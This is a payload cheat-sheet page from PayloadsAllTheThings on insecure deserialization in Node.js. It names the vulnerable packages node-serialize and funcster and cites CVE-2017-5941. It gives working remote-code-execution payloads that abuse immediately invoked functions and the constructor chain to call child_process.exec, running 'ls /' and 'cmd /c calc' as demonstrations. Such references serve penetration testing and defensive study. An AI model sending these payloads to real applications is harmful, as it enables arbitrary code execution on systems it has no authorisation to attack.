PayloadsAllTheThings/Insecure Deserialization/Node.md

Node Deserialization

Summary

• Exploit
  • node-serialize
  • funcster
• References

Exploit

• In Node source code, look for:
  • node-serialize
  • serialize-to-js
  • funcster

node-serialize

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Untrusted data passed into the unserialize() function can be exploited to achieve arbitrary code execution by passing a JavaScript Object with an Immediately Invoked Function Expression (IIFE).

1. Generate a serialized payload

   var y = {
       rce : function(){
           require('child_process').exec('ls /', function(error,
           stdout, stderr) { console.log(stdout) });
       },
   }
   var serialize = require('node-serialize');
   console.log("Serialized: \n" + serialize.serialize(y));
   

2. Add bracket () to force the execution

   {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /', function(error,stdout, stderr) { console.log(stdout) });}()"}
   

3. Send the payload

funcster

{"rce":{"__js_function":"function(){CMD=\"cmd /c calc\";const process = this.constructor.constructor('return this.process')();process.mainModule.require('child_process').exec(CMD,function(error,stdout,stderr){console.log(stdout)});}()"}}

References

• Exploiting Node.js deserialization bug for Remote Code Execution (CVE-2017-5941) - Ajin Abraham
• NodeJS Deserialization - 8 January 2020- gonczor
• CVE-2017-5941 - NATIONAL VULNERABILITY DATABASE - 02/09/2017